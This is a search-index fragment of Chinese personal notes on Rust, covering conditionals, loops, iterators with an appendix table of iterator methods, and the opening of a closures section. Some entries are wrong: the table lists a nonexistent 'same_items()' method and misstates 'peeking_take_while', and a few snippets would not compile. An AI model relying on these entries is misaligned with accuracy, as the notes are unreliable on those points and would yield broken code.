\u5173\u952e\u5b57\u3002</p>"},{"location":"NOTE/CS/RUST/RUST/#_10","title":"\u6761\u4ef6\u8bed\u53e5","text":"<p>RUST\u4e2d\u7684\u6761\u4ef6\u8bed\u53e5\u4e0eC\u8bed\u8a00\u7c7b\u4f3c \u4f8b\u5982 <pre><code>let num=3\nif num&lt;5\n{\n    println!(\"less than five\")\n}\nelse if num==5{\n    println!(\"equal to five\")\n}\nelse {\n    println!(\"bigger than five\")\n}\n</code></pre> \u4f46\u662f\u6709\u51e0\u70b9\u9700\u8981\u6ce8\u610f</p> <ul> <li>\u6761\u4ef6\u8868\u8fbe\u5f0f\u4e0d\u9700\u8981\u7528<code>()</code>\u62ec\u8d77\u6765,\u6ce8\u610f\u662f\u4e0d\u9700\u8981\u800c\u4e0d\u662f\u4e0d\u5141\u8bb8</li> <li>RUST\u4e2d\u7684<code>if</code>\u8bed\u53e5\u4e0d\u5b58\u5728\u5355\u53e5\u4e0d\u7528<code>{}</code>\u7684\u89c4\u5219\uff0c\u4e00\u4e2a\u5757\u8fd8\u662f\u9700\u8981\u62ec\u8d77\u6765\u7684</li> <li>RUST\u4e2d\u7684\u6761\u4ef6\u8868\u8fbe\u5f0f\u5fc5\u987b\u662fbool\u7c7b\u578b\u7684\uff0c\u4e0d\u5141\u8bb8\u50cfC\u4e2d\u5141\u8bb8\u7684\u975e\u96f6\u5373\u53ef\u5224\u65ad\u4e3a\u771f\uff0c\u4f8b\u5982\u4e0b\u9762\u7684\u7a0b\u5e8f\u662f\u975e\u6cd5\u7684 <pre><code>  fn main() { \n  let number = 3; \n  if number {   // \u62a5\u9519\uff0cexpected `bool`, found integerrustc(E0308)\n      println!(\"Yes\");\n  } \n  }\n</code></pre></li> </ul> <p>Note</p> <p><pre><code>if &lt;condition&gt; { block 1 } else { block 2 }\n</code></pre> \u8fd9\u79cd\u7ed3\u6784\u4e0b\u7684block\u4e5f\u53ef\u4ee5\u662f\u51fd\u6570\u4f53\u8868\u8fbe\u5f0f \u7528\u6cd5\u4f8b\u5982 <pre><code>let a=true;\nlet num = if a {1} else {-1};\nprintln!(\"number \u4e3a {}\", num);\n</code></pre> \u8fd9\u6837\u5c31\u5b9e\u73b0\u4e86\u4e09\u5143\u8fd0\u7b97\u8868\u8fbe\u5f0f<code>A?B:C</code>\u7684\u6548\u679c</p>"},{"location":"NOTE/CS/RUST/RUST/#_11","title":"\u5faa\u73af","text":""},{"location":"NOTE/CS/RUST/RUST/#while","title":"while\u5faa\u73af","text":"<p>\u4f8b\u5982 <pre><code>while i&gt;0{\n    i=i-1;\n}\n</code></pre></p>"},{"location":"NOTE/CS/RUST/RUST/#for","title":"for\u5faa\u73af","text":"<p>\u8ddfC\u8bed\u8a00\u7684for\u5faa\u73af\u76f8\u6bd4\uff0crust\u8bed\u8a00\u7684for\u5faa\u73af\u66f4\u52a0\u7c7b\u4f3c\u4e8epython</p> <pre><code>   fn main() { \n    let a = [10, 20, 30, 40, 50]; \n    for i in a.iter() { //a.iter() \u4ee3\u8868 a \u7684\u8fed\u4ee3\u5668\uff08iterator\uff09\n        println!(\"\u503c\u4e3a : {}\", i); \n    } \n   }\n   fn main() { \n    let a = [10, 20, 30, 40, 50]; \n    for i in 0..5 { //0..5\u7684\u7528\u6cd5\u76f8\u5f53\u4e8erange(0,5)\n        println!(\"a[{}] = {}\", i, a[i]); \n    } \n}\n</code></pre>"},{"location":"NOTE/CS/RUST/RUST/#loop","title":"loop\u5faa\u73af","text":"<p>rust\u6bd4\u8f83\u6709\u7279\u70b9\uff0c\u5f53\u6211\u4eec\u60f3\u4f7f\u7528\u65e0\u9650\u5faa\u73af\u7684\u65f6\u5019\uff0c\u4e0d\u5fc5<code>while true{}</code>\u800c\u672c\u8eab\u5c31\u5185\u7f6e\u6709<code>loop</code>\u7ed3\u6784\u65e0\u9650\u5faa\u73af</p> <p><pre><code>    fn main() { \n    let s = ['R', 'U', 'N', 'O', 'O', 'B']; \n    let mut i = 0; \n    loop { \n        let ch = s[i]; \n        if ch == 'O' { \n            break ; \n        } \n        println!(\"\\'{}\\'\", ch);\n        i += 1; \n    } \n}\n</code></pre> <code>loop</code>\u5faa\u73af\u7684<code>break</code>\u4e5f\u53ef\u4ee5\u901a\u8fc7\u643a\u5e26\u5173\u952e\u5b57\u6765\u5411\u5916\u90e8\u8fd4\u56de\u4e00\u4e2a\u503c,\u4f5c\u7528\u7c7b\u4f3c\u4e8e<code>return</code></p> <pre><code>   fn main() { \n    let s = ['R', 'U', 'N', 'O', 'O', 'B']; \n    let mut i = 0; \n    let location = loop { \n        let ch = s[i];\n        if ch == 'O' { \n            break i; \n        } \n        i += 1; \n    }; \n    println!(\" \\'O\\' \u7684\u7d22\u5f15\u4e3a {}\", location); \n}\n</code></pre>"},{"location":"NOTE/CS/RUST/RUST/#_12","title":"\u8fed\u4ee3\u5668","text":"<p>Rust \u4e2d\u7684\u8fed\u4ee3\u5668\u662f\u4e00\u79cd\u65b9\u4fbf\u3001\u9ad8\u6548\u7684\u6570\u636e\u904d\u5386\u65b9\u6cd5\uff0c\u5b83\u63d0\u4f9b\u4e86\u4e00\u79cd\u62bd\u8c61\u7684\u65b9\u5f0f\u6765\u8bbf\u95ee\u96c6\u5408\u4e2d\u7684\u6bcf\u4e2a\u5143\u7d20\uff0c\u800c\u4e0d\u9700\u8981\u663e\u5f0f\u5730\u7ba1\u7406\u7d22\u5f15\u6216\u5faa\u73af\u3002</p> <p>\u8fed\u4ee3\u5668\u5141\u8bb8\u4f60\u4ee5\u4e00\u79cd\u58f0\u660e\u5f0f\u7684\u65b9\u5f0f\u6765\u904d\u5386\u5e8f\u5217\uff0c\u5982\u6570\u7ec4\u3001\u5207\u7247\u3001\u94fe\u8868\u7b49\u96c6\u5408\u7c7b\u578b\u7684\u5143\u7d20\u3002</p> <p>\u8fed\u4ee3\u5668\u80cc\u540e\u7684\u6838\u5fc3\u601d\u60f3\u662f\u5c06\u6570\u636e\u5904\u7406\u8fc7\u7a0b\u4e0e\u6570\u636e\u672c\u8eab\u5206\u79bb\uff0c\u4f7f\u4ee3\u7801\u66f4\u6e05\u6670\u3001\u66f4\u6613\u8bfb\u3001\u66f4\u6613\u7ef4\u62a4\u3002</p> <p>\u8fed\u4ee3\u5668\u9075\u5faa\u4ee5\u4e0b\u539f\u5219\uff1a</p> <ul> <li> <p>\u60f0\u6027\u6c42\u503c\uff1a\u8fed\u4ee3\u5668\u4e0d\u4f1a\u7acb\u5373\u8ba1\u7b97\u5176\u5143\u7d20\uff0c\u800c\u662f\u5728\u9700\u8981\u65f6\u624d\u8ba1\u7b97\uff0c\u8fd9\u4f7f\u5f97\u8fed\u4ee3\u5668\u53ef\u4ee5\u7528\u4e8e\u5904\u7406\u65e0\u9650\u5e8f\u5217\u3002\u4f8b\u5982\uff0c\u5f53\u8c03\u7528 <code>map()</code> \u6216 <code>filter()</code> \u65b9\u6cd5\u65f6\uff0c\u5e76\u4e0d\u4f1a\u7acb\u5373\u5bf9\u96c6\u5408\u8fdb\u884c\u8f6c\u6362\u6216\u8fc7\u6ee4\uff0c\u800c\u662f\u8fd4\u56de\u4e00\u4e2a\u65b0\u7684\u8fed\u4ee3\u5668\uff0c\u53ea\u6709\u5f53\u771f\u6b63\u9700\u8981\u83b7\u53d6\u6570\u636e\u65f6\uff0c\u624d\u4f1a\u5bf9\u6570\u636e\u8fdb\u884c\u8f6c\u6362\u6216\u8fc7\u6ee4\u3002</p> </li> <li> <p>\u6d88\u8d39\u6027\uff1a\u5728\u8fed\u4ee3\u5668\u5b8c\u6210\u8fed\u4ee3\u540e\uff0c\u5b83\u6240\u8fed\u4ee3\u7684\u96c6\u5408\u5c06\u88ab\u6d88\u8d39\uff0c\u5373\u96c6\u5408\u7684\u6240\u6709\u6743\u88ab\u8f6c\u79fb\u7ed9\u8fed\u4ee3\u5668\uff0c\u96c6\u5408\u4e0d\u80fd\u518d\u88ab\u4f7f\u7528\u3002</p> </li> <li> <p>\u4e0d\u53ef\u53d8\u8bbf\u95ee\uff1a\u8fed\u4ee3\u5668\u9ed8\u8ba4\u4ee5\u4e0d\u53ef\u53d8\u65b9\u5f0f\u8bbf\u95ee\u5176\u5143\u7d20\uff0c\u8fd9\u610f\u5473\u7740\u5728\u8fed\u4ee3\u8fc7\u7a0b\u4e2d\u4e0d\u80fd\u4fee\u6539\u5143\u7d20\u3002</p> </li> <li> <p>\u6240\u6709\u6743\uff1a\u8fed\u4ee3\u5668\u53ef\u4ee5\u5904\u7406\u62e5\u6709\u6216\u501f\u7528\u7684\u5143\u7d20\u3002\u5f53\u8fed\u4ee3\u5668\u501f\u7528\u5143\u7d20\u65f6\uff0c\u5b83\u4e0d\u4f1a\u53d6\u5f97\u5143\u7d20\u7684\u6240\u6709\u6743\u3002\u4f8b\u5982\uff0c<code>iter()</code> \u65b9\u6cd5\u8fd4\u56de\u7684\u662f\u4e00\u4e2a\u501f\u7528\u8fed\u4ee3\u5668\uff0c\u800c <code>into_iter()</code> \u65b9\u6cd5\u8fd4\u56de\u7684\u662f\u4e00\u4e2a\u83b7\u53d6\u6240\u6709\u6743\u7684\u8fed\u4ee3\u5668\u3002</p> </li> </ul>"},{"location":"NOTE/CS/RUST/RUST/#_13","title":"\u521b\u5efa\u8fed\u4ee3\u5668","text":"<ul> <li>\u4f7f\u7528<code>iter()</code>\u65b9\u6cd5\u521b\u5efa\u501f\u7528\u8fed\u4ee3\u5668 <pre><code>let vec = vec![1, 2, 3, 4, 5];\nlet iter = vec.iter();\n</code></pre></li> </ul> <p>\u4ee3\u7801\u89e3\u91ca</p> <p><code>let vec</code>: <code>let</code> \u5173\u952e\u5b57\u7528\u4e8e\u58f0\u660e\u53d8\u91cf\uff0c<code>vec</code> \u662f\u53d8\u91cf\u7684\u540d\u79f0\u3002\u5728\u8fd9\u4e2a\u4f8b\u5b50\u4e2d\uff0c<code>vec</code> \u5c06\u88ab\u7ed1\u5b9a\u5230\u4e00\u4e2a <code>Vec&lt;i32&gt;</code> \u5bf9\u8c61\u4e0a\u3002</p> <p><code>vec![]</code> \u5b8f:</p> <p><code>vec![]</code> \u662f\u4e00\u4e2a\u5b8f\uff0c\u7528\u4e8e\u521b\u5efa\u4e00\u4e2a\u65b0\u7684 <code>Vec</code>\uff08\u52a8\u6001\u6570\u7ec4\uff09\u3002<code>Vec</code> \u662f Rust \u6807\u51c6\u5e93\u63d0\u4f9b\u7684\u4e00\u4e2a\u901a\u7528\u96c6\u5408\u7c7b\u578b\uff0c\u53ef\u4ee5\u5728\u8fd0\u884c\u65f6\u52a8\u6001\u589e\u957f\u3002 \u901a\u8fc7 <code>vec![]</code> \u5b8f\uff0c\u53ef\u4ee5\u76f4\u63a5\u521b\u5efa\u4e00\u4e2a\u5305\u542b\u521d\u59cb\u5143\u7d20\u7684\u5411\u91cf\u3002 <code>[1, 2, 3, 4, 5]</code>:</p> <p>\u65b9\u62ec\u53f7\u5185\u7684\u6570\u5b57 1, 2, 3, 4, 5 \u662f <code>Vec</code> \u7684\u521d\u59cb\u5143\u7d20\u3002 \u5728\u8fd9\u4e2a\u4f8b\u5b50\u4e2d\uff0c<code>vec!</code> \u5b8f\u521b\u5efa\u4e86\u4e00\u4e2a <code>Vec&lt;i32&gt;</code> \u7c7b\u578b\u7684\u5411\u91cf\uff0c\u5176\u4e2d\u5305\u542b\u4e86\u8fd9\u4e94\u4e2a\u6574\u6570\u3002</p> <ul> <li> <p>\u4f7f\u7528<code>iter_mut()</code> \u65b9\u6cd5\u521b\u5efa\u53ef\u53d8\u501f\u7528\u8fed\u4ee3\u5668 <pre><code>let mut vec = vec![1, 2, 3, 4, 5];\nlet iter_mut = vec.iter_mut();\n</code></pre></p> </li> <li> <p>\u4f7f\u7528 <code>into_iter()</code> \u65b9\u6cd5\u521b\u5efa\u83b7\u53d6\u6240\u6709\u6743\u7684\u8fed\u4ee3\u5668\uff1a <pre><code>let vec = vec![1, 2, 3, 4, 5];\nlet into_iter = vec.into_iter();\n</code></pre></p> </li> </ul>"},{"location":"NOTE/CS/RUST/RUST/#_14","title":"\u8fed\u4ee3\u5668\u65b9\u6cd5","text":"<ul> <li> <p><code>map()</code>\u5bf9\u6bcf\u4e2a\u5143\u7d20\u5e94\u7528\u7279\u5b9a\u7684\u8f6c\u6362\u51fd\u6570 <pre><code>let vec = vec![1, 2, 3, 4, 5];\nlet squared_vec: Vec&lt;i32&gt; = vec.iter().map(|x| x * x).collect();\n</code></pre> \u9996\u5148\u5b9a\u4e49\u4e86\u4e00\u4e2a\u5305\u542b\u6574\u6570\u7684\u6570\u7ec4\uff0c\u7136\u540e\u4f7f\u7528 <code>iter()</code> \u65b9\u6cd5\u83b7\u53d6\u6570\u7ec4\u7684\u8fed\u4ee3\u5668\uff0c\u63a5\u7740\u4f7f\u7528\u8fed\u4ee3\u5668\u7684 <code>map()</code> \u65b9\u6cd5\u5bf9\u6570\u7ec4\u4e2d\u7684\u6bcf\u4e2a\u5143\u7d20\u8fdb\u884c\u5e73\u65b9\u8fd0\u7b97\uff0c\u5e76\u4f7f\u7528 <code>collect()</code> \u65b9\u6cd5\u5c06\u7ed3\u679c\u6536\u96c6\u5230\u4e00\u4e2a\u65b0\u7684\u6570\u7ec4 <code>squared_vec</code> \u4e2d\u3002\u6700\u540e\u8f93\u51fa\u4e86\u5e73\u65b9\u540e\u7684\u6570\u7ec4\u3002</p> </li> <li> <p><code>filter()</code>\u6839\u636e\u7279\u5b9a\u7684\u6761\u4ef6\u8fc7\u6ee4\u96c6\u5408\u4e2d\u7684\u5143\u7d20 <pre><code>let vec = vec![1, 2, 3, 4, 5];\nlet filtered_vec: Vec&lt;i32&gt; = vec.into_iter().filter(|&amp;x| x % 2 == 0).collect();\n</code></pre> \u539f\u7406\u7c7b\u4f3c</p> </li> <li> <p><code>fold()</code>\uff1a\u5bf9\u96c6\u5408\u4e2d\u7684\u5143\u7d20\u8fdb\u884c\u7d2f\u79ef\u5904\u7406\u3002</p> </li> <li><code>skip()</code>\uff1a\u8df3\u8fc7\u6307\u5b9a\u6570\u91cf\u7684\u5143\u7d20\u3002</li> <li><code>take()</code>\uff1a\u83b7\u53d6\u6307\u5b9a\u6570\u91cf\u7684\u5143\u7d20\u3002</li> <li><code>enumerate()</code>\uff1a\u4e3a\u6bcf\u4e2a\u5143\u7d20\u63d0\u4f9b\u7d22\u5f15\u3002 <p>\u611f\u89c9\u8bb0\u4e0d\u4f4f\uff0c\u53cd\u6b63\u5148\u8bb0\u7740\uff0c\u5177\u4f53\u7528\u5230\u7684\u65f6\u5019\u518d\u641c\u5c31\u884c\u4e86</p> </li> </ul>"},{"location":"NOTE/CS/RUST/RUST/#for_1","title":"for\u5faa\u73af\u904d\u5386\u8fed\u4ee3\u5668","text":"<p>Rust \u63d0\u4f9b\u4e86 for \u5faa\u73af\u8bed\u6cd5\u6765\u904d\u5386\u8fed\u4ee3\u5668\u4e2d\u7684\u5143\u7d20\uff0c\u662f\u4e00\u79cd\u66f4\u52a0\u7b80\u6d01\u548c\u76f4\u89c2\u7684\u904d\u5386\u65b9\u5f0f\u3002</p> <p>Rust \u7684 for \u5faa\u73af\u5e95\u5c42\u5b9e\u9645\u4e0a\u662f\u4f7f\u7528\u8fed\u4ee3\u5668\u7684\u3002</p> <pre><code>let vec = vec![1, 2, 3, 4, 5];\nfor &amp;num in vec.iter() {//&amp;\u4ee3\u8868\u501f\u7528\n    println!(\"{}\", num);\n}\n</code></pre>"},{"location":"NOTE/CS/RUST/RUST/#_15","title":"\u6d88\u8d39\u8fed\u4ee3\u5668","text":"<p>\u4f7f\u7528\u8fed\u4ee3\u5668\u76f4\u5230\u5b83\u88ab\u5b8c\u5168\u6d88\u8017 <pre><code>let arr = vec![1, 2, 3];\nlet mut iter = arr.into_iter();\nwhile let Some(val) = iter.next() {\n    println!(\"{}\", val);\n}\n</code></pre></p>"},{"location":"NOTE/CS/RUST/RUST/#_16","title":"\u9002\u914d\u5668","text":"<p>\u8fed\u4ee3\u5668\u9002\u914d\u5668\u662f\u4e00\u7cfb\u5217\u63d0\u4f9b\u7ed9\u8fed\u4ee3\u5668\u7684\u51fd\u6570\uff0c\u5b83\u4eec\u53ef\u4ee5\u4fee\u6539\u8fed\u4ee3\u5668\u7684\u884c\u4e3a\u3002\u4f8b\u5982 map, filter, take \u7b49\u3002 <pre><code>let arr = [1, 2, 3, 4, 5];\nlet even_numbers: Vec&lt;_&gt; = arr.into_iter().filter(|&amp;x| x % 2 == 0).collect();\n</code></pre></p>"},{"location":"NOTE/CS/RUST/RUST/#_17","title":"\u8fed\u4ee3\u5668\u94fe","text":"<p>\u53ef\u4ee5\u5c06\u591a\u4e2a\u8fed\u4ee3\u5668\u9002\u914d\u5668\u94fe\u63a5\u5728\u4e00\u8d77\uff0c\u5f62\u6210\u8fed\u4ee3\u5668\u94fe\u3002 <pre><code>use std::iter::Peekable;\n\nlet arr = [1, 2, 3, 4, 5];\nlet mut iter = arr.into_iter().peekable();\nwhile let Some(val) = iter.next() {\n    if val % 2 == 0 {\n        continue;\n    }\n    println!(\"{}\", val);\n}\n</code></pre></p>"},{"location":"NOTE/CS/RUST/RUST/#_18","title":"\u6536\u96c6\u5668","text":"<p>\u53ef\u4ee5\u4f7f\u7528<code>collect</code>\u65b9\u6cd5\u5c06\u8fed\u4ee3\u5668\u7684\u5143\u7d20\u6536\u96c6\u5230\u67d0\u79cd\u96c6\u5408\u4e2d</p>"},{"location":"NOTE/CS/RUST/RUST/#_19","title":"\u5176\u4ed6","text":"<p>\u8fed\u4ee3\u5668\u7684\u751f\u547d\u5468\u671f\u4e0e\u5b83\u6240\u8fed\u4ee3\u7684\u5143\u7d20\u7684\u751f\u547d\u5468\u671f\u76f8\u5173\u8054\u3002\u8fed\u4ee3\u5668\u53ef\u4ee5\u501f\u7528\u5143\u7d20\uff0c\u4e5f\u53ef\u4ee5\u53d6\u5f97\u5143\u7d20\u7684\u6240\u6709\u6743\u3002\u8fd9\u5728\u8fed\u4ee3\u5668\u7684\u5b9e\u73b0\u4e2d\u901a\u8fc7\u751f\u547d\u5468\u671f\u53c2\u6570\u6765\u63a7\u5236\u3002</p> <p>\u8fed\u4ee3\u5668\u4e0e\u95ed\u5305 \u8fed\u4ee3\u5668\u9002\u914d\u5668\u7ecf\u5e38\u4e0e\u95ed\u5305\u4e00\u8d77\u4f7f\u7528\uff0c\u95ed\u5305\u5141\u8bb8\u4f60\u4e3a\u8fed\u4ee3\u5668\u64cd\u4f5c\u63d0\u4f9b\u5b9a\u5236\u903b\u8f91\u3002</p> <p>\u8fed\u4ee3\u5668\u548c\u6027\u80fd</p> <p>\u8fed\u4ee3\u5668\u901a\u5e38\u662f\u975e\u5e38\u9ad8\u6548\u7684\uff0c\u56e0\u4e3a\u5b83\u4eec\u5141\u8bb8\u7f16\u8bd1\u5668\u505a\u51fa\u4f18\u5316\u3002\u4f8b\u5982\uff0c\u7f16\u8bd1\u5668\u53ef\u4ee5\u5185\u8054\u8fed\u4ee3\u5668\u9002\u914d\u5668\u7684\u8c03\u7528\uff0c\u5e76\u4e14\u53ef\u4ee5\u5229\u7528\u8fed\u4ee3\u5668\u7684\u60f0\u6027\u6c42\u503c\u7279\u6027\u3002\u3001</p>"},{"location":"NOTE/CS/RUST/RUST/#_20","title":"\u9644\u5f55:\u8fed\u4ee3\u5668\u65b9\u6cd5","text":"\u65b9\u6cd5\u540d \u63cf\u8ff0 \u793a\u4f8b <code>next()</code> \u8fd4\u56de\u8fed\u4ee3\u5668\u4e2d\u7684\u4e0b\u4e00\u4e2a\u5143\u7d20\u3002 <code>let mut iter = (1..5).into_iter(); while let Some(val) = iter.next() { println!(\"{}\", val); }</code> <code>size_hint()</code> \u8fd4\u56de\u8fed\u4ee3\u5668\u4e2d\u5269\u4f59\u5143\u7d20\u6570\u91cf\u7684\u4e0b\u754c\u548c\u4e0a\u754c\u3002 <code>let iter = (1..10).into_iter(); println!(\"{:?}\", iter.size_hint());</code> <code>count()</code> \u8ba1\u7b97\u8fed\u4ee3\u5668\u4e2d\u5143\u7d20\u7684\u6570\u91cf\u3002 <code>let count = (1..10).into_iter().count();</code> <code>nth()</code> \u8fd4\u56de\u8fed\u4ee3\u5668\u4e2d\u7684\u7b2c n \u4e2a\u5143\u7d20\u3002 <code>let third = (0..10).into_iter().nth(2);</code> <code>last()</code> \u8fd4\u56de\u8fed\u4ee3\u5668\u4e2d\u7684\u6700\u540e\u4e00\u4e2a\u5143\u7d20\u3002 <code>let last = (1..5).into_iter().last();</code> <code>all()</code> \u5982\u679c\u8fed\u4ee3\u5668\u4e2d\u7684\u6240\u6709\u5143\u7d20\u90fd\u6ee1\u8db3\u67d0\u4e2a\u6761\u4ef6\uff0c\u8fd4\u56de <code>true</code>\u3002 <code>let all_positive = (1..5).into_iter().all(|x| x &gt; 0);</code> <code>any()</code> \u5982\u679c\u8fed\u4ee3\u5668\u4e2d\u7684\u81f3\u5c11\u4e00\u4e2a\u5143\u7d20\u6ee1\u8db3\u67d0\u4e2a\u6761\u4ef6\uff0c\u8fd4\u56de <code>true</code>\u3002 <code>let any_negative = (1..5).into_iter().any(|x| x &lt; 0);</code> <code>find()</code> \u8fd4\u56de\u8fed\u4ee3\u5668\u4e2d\u7b2c\u4e00\u4e2a\u6ee1\u8db3\u67d0\u6761\u4ef6\u7684\u5143\u7d20\u3002 <code>let first_even = (1..10).into_iter().find(|x| x % 2 == 0);</code> <code>find_map()</code> \u5bf9\u8fed\u4ee3\u5668\u7684\u5143\u7d20\u5e94\u7528\u4e00\u4e2a\u51fd\u6570\uff0c\u8fd4\u56de\u7b2c\u4e00\u4e2a\u8fd4\u56de <code>Some</code> \u7684\u7ed3\u679c\u3002 <code>let first_letter = \"hello\".chars().find_map(|c| if c.is_alphabetic() { Some(c) } else { None });</code> <code>map()</code> \u5bf9\u8fed\u4ee3\u5668\u4e2d\u7684\u6bcf\u4e2a\u5143\u7d20\u5e94\u7528\u4e00\u4e2a\u51fd\u6570\u3002 <code>let squares: Vec&lt;i32&gt; = (1..5).into_iter().map(|x| x * x).collect();</code> <code>filter()</code> \u4fdd\u7559\u8fed\u4ee3\u5668\u4e2d\u6ee1\u8db3\u67d0\u4e2a\u6761\u4ef6\u7684\u5143\u7d20\u3002 <code>let evens: Vec&lt;i32&gt; = (1..10).into_iter().filter(|x| x % 2 == 0).collect();</code> <code>filter_map()</code> \u5bf9\u8fed\u4ee3\u5668\u4e2d\u7684\u5143\u7d20\u5e94\u7528\u4e00\u4e2a\u51fd\u6570\uff0c\u5982\u679c\u8be5\u51fd\u6570\u8fd4\u56de <code>Some</code>\uff0c\u5219\u4fdd\u7559\u7ed3\u679c\u3002 <code>let chars: Vec&lt;char&gt; = \"hello\".chars().filter_map(|c| if c.is_alphabetic() { Some(c.to_ascii_uppercase()) } else { None }).collect();</code> <code>map_while()</code> \u5bf9\u8fed\u4ee3\u5668\u4e2d\u7684\u5143\u7d20\u5e94\u7528\u4e00\u4e2a\u51fd\u6570\uff0c\u76f4\u5230\u51fd\u6570\u8fd4\u56de <code>None</code>\u3002 <code>let first_three = (1..).into_iter().map_while(|x| if x &lt;= 3 { Some(x) } else { None });</code> <code>take_while()</code> \u4ece\u8fed\u4ee3\u5668\u4e2d\u53d6\u51fa\u6ee1\u8db3\u67d0\u4e2a\u6761\u4ef6\u7684\u5143\u7d20\uff0c\u76f4\u5230\u4e0d\u6ee1\u8db3\u4e3a\u6b62\u3002 <code>let first_five = (1..10).into_iter().take_while(|x| x &lt;= 5).collect::&lt;Vec&lt;_&gt;&gt;();</code> <code>skip_while()</code> \u8df3\u8fc7\u8fed\u4ee3\u5668\u4e2d\u6ee1\u8db3\u67d0\u4e2a\u6761\u4ef6\u7684\u5143\u7d20\uff0c\u76f4\u5230\u4e0d\u6ee1\u8db3\u4e3a\u6b62\u3002 <code>let odds: Vec&lt;i32&gt; = (1..10).into_iter().skip_while(|x| x % 2 == 0).collect();</code> <code>for_each()</code> \u5bf9\u8fed\u4ee3\u5668\u4e2d\u7684\u6bcf\u4e2a\u5143\u7d20\u6267\u884c\u67d0\u79cd\u64cd\u4f5c\u3002 <code>let mut counter = 0; (1..5).into_iter().for_each(|x| counter += x);</code> <code>fold()</code> \u5bf9\u8fed\u4ee3\u5668\u4e2d\u7684\u5143\u7d20\u8fdb\u884c\u6298\u53e0\uff0c\u4f7f\u7528\u4e00\u4e2a\u7d2f\u52a0\u5668\u3002 <code>let sum: i32 = (1..5).into_iter().fold(0, |acc, x| acc + x);</code> <code>try_fold()</code> \u5bf9\u8fed\u4ee3\u5668\u4e2d\u7684\u5143\u7d20\u8fdb\u884c\u6298\u53e0\uff0c\u53ef\u80fd\u5728\u9047\u5230\u9519\u8bef\u65f6\u63d0\u524d\u8fd4\u56de\u3002 <code>let result: Result&lt;i32, &amp;str&gt; = (1..5).into_iter().try_fold(0, |acc, x| if x == 3 { Err(\"Found the number 3\") } else { Ok(acc + x) });</code> <code>scan()</code> \u5bf9\u8fed\u4ee3\u5668\u4e2d\u7684\u5143\u7d20\u8fdb\u884c\u72b6\u6001\u5316\u7684\u6298\u53e0\u3002 <code>let sum: Vec&lt;i32&gt; = (1..5).into_iter().scan(0, |acc, x| { *acc += x; Some(*acc) }).collect();</code> <code>take()</code> \u4ece\u8fed\u4ee3\u5668\u4e2d\u53d6\u51fa\u6700\u591a n \u4e2a\u5143\u7d20\u3002 <code>let first_five = (1..10).into_iter().take(5).collect::&lt;Vec&lt;_&gt;&gt;();</code> <code>skip()</code> \u8df3\u8fc7\u8fed\u4ee3\u5668\u4e2d\u7684\u524d n \u4e2a\u5143\u7d20\u3002 <code>let after_five = (1..10).into_iter().skip(5).collect::&lt;Vec&lt;_&gt;&gt;();</code> <code>zip()</code> \u5c06\u4e24\u4e2a\u8fed\u4ee3\u5668\u4e2d\u7684\u5143\u7d20\u6253\u5305\u6210\u5143\u7ec4\u3002 <code>let zipped = (1..3).zip(&amp;['a', 'b', 'c']).collect::&lt;Vec&lt;_&gt;&gt;();</code> <code>cycle()</code> \u91cd\u590d\u8fed\u4ee3\u5668\u4e2d\u7684\u5143\u7d20\uff0c\u76f4\u81f3\u505c\u6b62\u3002 <code>let repeated = (1..3).into_iter().cycle().take(7).collect::&lt;Vec&lt;_&gt;&gt;();</code> <code>chain()</code> \u8fde\u63a5\u591a\u4e2a\u8fed\u4ee3\u5668\u3002 <code>let combined = (1..3).chain(4..6).collect::&lt;Vec&lt;_&gt;&gt;();</code> <code>rev()</code> \u53cd\u8f6c\u8fed\u4ee3\u5668\u4e2d\u7684\u5143\u7d20\u987a\u5e8f\u3002 <code>let reversed = (1..4).into_iter().rev().collect::&lt;Vec&lt;_&gt;&gt;();</code> <code>enumerate()</code> \u4e3a\u8fed\u4ee3\u5668\u4e2d\u7684\u6bcf\u4e2a\u5143\u7d20\u6dfb\u52a0\u7d22\u5f15\u3002 <code>let enumerated = (1..4).into_iter().enumerate().collect::&lt;Vec&lt;_&gt;&gt;();</code> <code>peeking_take_while()</code> \u53d6\u51fa\u6ee1\u8db3\u6761\u4ef6\u7684\u5143\u7d20\uff0c\u540c\u65f6\u4fdd\u7559\u8fed\u4ee3\u5668\u7684\u72b6\u6001\uff0c\u53ef\u4ee5\u7ee7\u7eed\u53d6\u51fa\u540e\u7eed\u5143\u7d20\u3002 <code>let (first, rest) = (1..10).into_iter().peeking_take_while(|&amp;x| x &lt; 5);</code> <code>step_by()</code> \u6309\u7167\u6307\u5b9a\u7684\u6b65\u957f\u8fd4\u56de\u8fed\u4ee3\u5668\u4e2d\u7684\u5143\u7d20\u3002 <code>let even_numbers = (0..10).into_iter().step_by(2).collect::&lt;Vec&lt;_&gt;&gt;();</code> <code>fuse()</code> \u521b\u5efa\u4e00\u4e2a\u989d\u5916\u7684\u8fed\u4ee3\u5668\uff0c\u5b83\u5728\u8fed\u4ee3\u7ed3\u675f\u540e\u4ecd\u7136\u53ef\u4ee5\u8c03\u7528 <code>next()</code> \u65b9\u6cd5\u3002 <code>let mut iter = (1..5).into_iter().fuse(); while iter.next().is_some() {}</code> <code>inspect()</code> \u5728\u53d6\u51fa\u6bcf\u4e2a\u5143\u7d20\u65f6\u6267\u884c\u4e00\u4e2a\u95ed\u5305\uff0c\u4f46\u4e0d\u6539\u53d8\u5143\u7d20\u3002 <code>let mut counter = 0; (1..5).into_iter().inspect(|x| println!(\"Inspecting: {}\", x)).for_each(|x| println!(\"Processing: {}\", x));</code> <code>same_items()</code> \u6bd4\u8f83\u4e24\u4e2a\u8fed\u4ee3\u5668\u662f\u5426\u4ea7\u751f\u76f8\u540c\u7684\u5143\u7d20\u5e8f\u5217\u3002 <code>let equal = (1..5).into_iter().same_items((1..5).into_iter());</code>"},{"location":"NOTE/CS/RUST/RUST/#_21","title":"\u95ed\u5305","text":"<p>Rust \u4e2d\u7684\u95ed\u5305\u662f\u4e00\u79cd\u533f\u540d\u51fd\u6570\uff0c\u5b83\u4eec\u53ef\u4ee5\u6355\u83b7\u5e76\u5b58\u50a8\u5176\u73af\u5883\u4e2d\u7684\u53d8\u91cf\u3002</p> <p>\u95ed\u5305\u5141\u8bb8\u5728\u5176\u5b9a\u4e49\u7684\u4f5c\u7528\u57df\u4e4b\u5916\u8bbf\u95ee\u53d8\u91cf\uff0c\u5e76\u4e14\u53ef\u4ee5\u5728\u9700\u8981\u65f6\u5c06\u5176\u79fb\u52a8\u6216\u501f\u7528\u7ed9\u95ed\u5305\u3002</p> <p>\u95ed\u5305\u5728 Rust 